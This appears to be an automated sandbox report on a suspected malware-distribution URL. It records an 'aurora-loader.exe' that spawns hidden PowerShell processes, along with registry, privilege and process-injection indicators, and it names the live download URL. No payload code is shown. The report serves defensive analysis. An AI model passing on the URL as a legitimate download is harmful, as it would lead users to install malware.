hxxps://aurora-platform[.]cc/download-folder

Analysis

user interaction
yes
max time kernel
286s
max time network
281s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
31/05/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://aurora-platform.cc/download-folder
Sample260531-e3j3eaht9v

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2244	powershell.exe
232	powershell.exe
2800	powershell.exe
5076	powershell.exe
4332	powershell.exe
5532	powershell.exe
1548	powershell.exe
1092	powershell.exe
2608	powershell.exe
4040	powershell.exe
5444	powershell.exe
2316	powershell.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4216_1686764028\typosquatting_list.pb	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4216_266383041\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4216_266383041\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4216_1686764028\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2000	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134246752920595770"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1768642833-2142038154-4041560723-1000\{830D8509-5E64-4FE3-AD20-69C659924870}	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\aurora_c295fa5a.zip:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
232	powershell.exe
232	powershell.exe
232	powershell.exe
2800	powershell.exe
2800	powershell.exe
2800	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
1092	powershell.exe
1092	powershell.exe
1092	powershell.exe
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
5532	powershell.exe
5532	powershell.exe
5532	powershell.exe
5444	powershell.exe
5444	powershell.exe
5444	powershell.exe
1548	powershell.exe
1548	powershell.exe
1548	powershell.exe
2316	powershell.exe
2316	powershell.exe
2316	powershell.exe
6052	msedge.exe
6052	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	232	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeIncreaseQuotaPrivilege	2800	powershell.exe
Token: SeSecurityPrivilege	2800	powershell.exe
Token: SeTakeOwnershipPrivilege	2800	powershell.exe
Token: SeLoadDriverPrivilege	2800	powershell.exe
Token: SeSystemProfilePrivilege	2800	powershell.exe
Token: SeSystemtimePrivilege	2800	powershell.exe
Token: SeProfSingleProcessPrivilege	2800	powershell.exe
Token: SeIncBasePriorityPrivilege	2800	powershell.exe
Token: SeCreatePagefilePrivilege	2800	powershell.exe
Token: SeBackupPrivilege	2800	powershell.exe
Token: SeRestorePrivilege	2800	powershell.exe
Token: SeShutdownPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeSystemEnvironmentPrivilege	2800	powershell.exe
Token: SeRemoteShutdownPrivilege	2800	powershell.exe
Token: SeUndockPrivilege	2800	powershell.exe
Token: SeManageVolumePrivilege	2800	powershell.exe
Token: 33	2800	powershell.exe
Token: 34	2800	powershell.exe
Token: 35	2800	powershell.exe
Token: 36	2800	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeIncreaseQuotaPrivilege	5076	powershell.exe
Token: SeSecurityPrivilege	5076	powershell.exe
Token: SeTakeOwnershipPrivilege	5076	powershell.exe
Token: SeLoadDriverPrivilege	5076	powershell.exe
Token: SeSystemProfilePrivilege	5076	powershell.exe
Token: SeSystemtimePrivilege	5076	powershell.exe
Token: SeProfSingleProcessPrivilege	5076	powershell.exe
Token: SeIncBasePriorityPrivilege	5076	powershell.exe
Token: SeCreatePagefilePrivilege	5076	powershell.exe
Token: SeBackupPrivilege	5076	powershell.exe
Token: SeRestorePrivilege	5076	powershell.exe
Token: SeShutdownPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeSystemEnvironmentPrivilege	5076	powershell.exe
Token: SeRemoteShutdownPrivilege	5076	powershell.exe
Token: SeUndockPrivilege	5076	powershell.exe
Token: SeManageVolumePrivilege	5076	powershell.exe
Token: 33	5076	powershell.exe
Token: 34	5076	powershell.exe
Token: 35	5076	powershell.exe
Token: 36	5076	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeIncreaseQuotaPrivilege	1092	powershell.exe
Token: SeSecurityPrivilege	1092	powershell.exe
Token: SeTakeOwnershipPrivilege	1092	powershell.exe
Token: SeLoadDriverPrivilege	1092	powershell.exe
Token: SeSystemProfilePrivilege	1092	powershell.exe
Token: SeSystemtimePrivilege	1092	powershell.exe
Token: SeProfSingleProcessPrivilege	1092	powershell.exe
Token: SeIncBasePriorityPrivilege	1092	powershell.exe
Token: SeCreatePagefilePrivilege	1092	powershell.exe
Token: SeBackupPrivilege	1092	powershell.exe
Token: SeRestorePrivilege	1092	powershell.exe
Token: SeShutdownPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeSystemEnvironmentPrivilege	1092	powershell.exe
Token: SeRemoteShutdownPrivilege	1092	powershell.exe
Token: SeUndockPrivilege	1092	powershell.exe
Token: SeManageVolumePrivilege	1092	powershell.exe
Token: 33	1092	powershell.exe

Suspicious use of FindShellTrayWindow 46 IoCs

pid	Process
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe
4216	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4216 wrote to memory of 4340	4216	msedge.exe	81
PID 4216 wrote to memory of 1588	4216	msedge.exe	82
PID 4216 wrote to memory of 2000	4216	msedge.exe	83
PID 4216 wrote to memory of 1588	4216	msedge.exe	82
PID 4216 wrote to memory of 1588	4216	msedge.exe	82
PID 4216 wrote to memory of 4448	4216	msedge.exe	84
PID 4216 wrote to memory of 4448	4216	msedge.exe	84
PID 4216 wrote to memory of 1740	4216	msedge.exe	86
PID 4216 wrote to memory of 3128	4216	msedge.exe	87
PID 4216 wrote to memory of 1740	4216	msedge.exe	86
PID 4216 wrote to memory of 1740	4216	msedge.exe	86
PID 4216 wrote to memory of 3128	4216	msedge.exe	87
PID 4216 wrote to memory of 3128	4216	msedge.exe	87
PID 4216 wrote to memory of 5464	4216	msedge.exe	90
PID 4216 wrote to memory of 5464	4216	msedge.exe	90
PID 4216 wrote to memory of 5464	4216	msedge.exe	90
PID 4216 wrote to memory of 4376	4216	msedge.exe	91
PID 4216 wrote to memory of 4376	4216	msedge.exe	91
PID 4216 wrote to memory of 5232	4216	msedge.exe	92
PID 4216 wrote to memory of 5232	4216	msedge.exe	92
PID 4216 wrote to memory of 3696	4216	msedge.exe	93
PID 4216 wrote to memory of 5152	4216	msedge.exe	95
PID 3696 wrote to memory of 3712	3696	msedge.exe	96
PID 4216 wrote to memory of 1556	4216	msedge.exe	99
PID 4216 wrote to memory of 940	4216	msedge.exe	100
PID 4216 wrote to memory of 1556	4216	msedge.exe	99
PID 4216 wrote to memory of 1556	4216	msedge.exe	99
PID 4216 wrote to memory of 940	4216	msedge.exe	100
PID 4216 wrote to memory of 5296	4216	msedge.exe	101
PID 4216 wrote to memory of 4476	4216	msedge.exe	103
PID 4216 wrote to memory of 3848	4216	msedge.exe	104
PID 4216 wrote to memory of 2552	4216	msedge.exe	105
PID 4460 wrote to memory of 5860	4460	aurora-loader.exe	110
PID 5860 wrote to memory of 2244	5860	cmd.exe	112
PID 4460 wrote to memory of 1988	4460	aurora-loader.exe	113
PID 1988 wrote to memory of 232	1988	cmd.exe	115
PID 232 wrote to memory of 1828	232	powershell.exe	116
PID 4216 wrote to memory of 1992	4216	msedge.exe	117
PID 4216 wrote to memory of 1992	4216	msedge.exe	117
PID 4460 wrote to memory of 3896	4460	aurora-loader.exe	119
PID 3896 wrote to memory of 2800	3896	cmd.exe	121
PID 4460 wrote to memory of 464	4460	aurora-loader.exe	123
PID 464 wrote to memory of 5076	464	cmd.exe	125
PID 4460 wrote to memory of 4212	4460	aurora-loader.exe	126
PID 4212 wrote to memory of 1092	4212	cmd.exe	128
PID 4460 wrote to memory of 4596	4460	aurora-loader.exe	129
PID 4596 wrote to memory of 2608	4596	cmd.exe	131
PID 4460 wrote to memory of 5420	4460	aurora-loader.exe	132
PID 5420 wrote to memory of 4040	5420	cmd.exe	134
PID 4460 wrote to memory of 3316	4460	aurora-loader.exe	135
PID 3316 wrote to memory of 4332	3316	cmd.exe	137
PID 4460 wrote to memory of 6012	4460	aurora-loader.exe	138
PID 6012 wrote to memory of 3916	6012	cmd.exe	140
PID 4460 wrote to memory of 4848	4460	aurora-loader.exe	141
PID 4848 wrote to memory of 2260	4848	cmd.exe	143
PID 4460 wrote to memory of 3640	4460	aurora-loader.exe	144
PID 4216 wrote to memory of 4804	4216	msedge.exe	145
PID 4216 wrote to memory of 4804	4216	msedge.exe	145
PID 4216 wrote to memory of 4804	4216	msedge.exe	145
PID 3640 wrote to memory of 5532	3640	cmd.exe	147
PID 4460 wrote to memory of 5520	4460	aurora-loader.exe	148
PID 5520 wrote to memory of 5444	5520	cmd.exe	150
PID 4460 wrote to memory of 2136	4460	aurora-loader.exe	151
PID 2136 wrote to memory of 1548	2136	cmd.exe	153

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://aurora-platform.cc/download-folder
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x24c,0x7ffcbf30c188,0x7ffcbf30c194,0x7ffcbf30c1a0
  2⤵
  PID:4340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1568,i,5980897923623839306,12775978549379512202,262144 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=2476 /prefetch:2
  2⤵
  PID:1588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1756,i,14608609699947897172,16048799664355825600,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:11
  2⤵
  - System Time Discovery
  PID:2000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2144,i,5003863414028741012,9409284116443721907,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=2788 /prefetch:13
  2⤵
  PID:4448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3516,i,17720127167630026500,10035088624923178683,2097152 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
  2⤵
  PID:1740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3528,i,10244461648697478870,10467719296827432893,2097152 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
  2⤵
  PID:3128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4920,i,16305373000489907535,8679449738112294006,2097152 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:1
  2⤵
  PID:5464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3760,i,16208355004735364855,16365469818348617819,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:14
  2⤵
  PID:4376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3764,i,7298500543070107730,4965762239099423265,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:14
  2⤵
  PID:5232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5792,i,6101838226411937606,16724557183515585838,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3696
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1128
    3⤵
    PID:3712
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5920,i,1320034415644430282,18133665372322673117,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:14
  2⤵
  PID:1940
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5920,i,1320034415644430282,18133665372322673117,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:14
  2⤵
  PID:5152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6296,i,15622613571502109495,11995379883584640694,2097152 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:1
  2⤵
  PID:1556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6340,i,7216895726455228489,6633357274725194588,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:14
  2⤵
  PID:940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,16018855977347627552,4060554579952735969,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6800 /prefetch:14
  2⤵
  - NTFS ADS
  PID:5296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6856,i,107532352736901006,993304448591756598,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6828 /prefetch:14
  2⤵
  PID:4476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6824,i,15623191975915043517,2181306563976165053,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:14
  2⤵
  PID:3848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6812,i,9863495800049548065,16648268869856405430,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6904 /prefetch:14
  2⤵
  PID:2552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6556,i,15705920039737612121,15612330750981995800,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:14
  2⤵
  PID:1992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6788,i,12913428680442632926,16385331515293888442,2097152 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:1
  2⤵
  PID:4804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=6416,i,14886767447723571902,13988942107281003566,2097152 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:1
  2⤵
  PID:4808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=6264,i,7621184822535698714,268789266281204612,2097152 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6252 /prefetch:1
  2⤵
  PID:2164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=4808,i,5145330117158462518,14902952415321192830,2097152 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=7040 /prefetch:1
  2⤵
  PID:2480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7352,i,8397647612430359189,16181971432111935650,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=7272 /prefetch:14
  2⤵
  PID:2452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7320,i,14913848088232936194,1497083406630213995,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=7356 /prefetch:14
  2⤵
  PID:5872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7084,i,10365688040412312439,7090349165610872069,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=7092 /prefetch:14
  2⤵
  PID:5960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3160,i,15638034279693636803,1535314604812813297,262144 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=3344 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3364,i,11940683298648222317,5527424616144402826,524288 --field-trial-handle=2480,i,16496018901491093477,12683218905261453775,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
  2⤵
  PID:1056

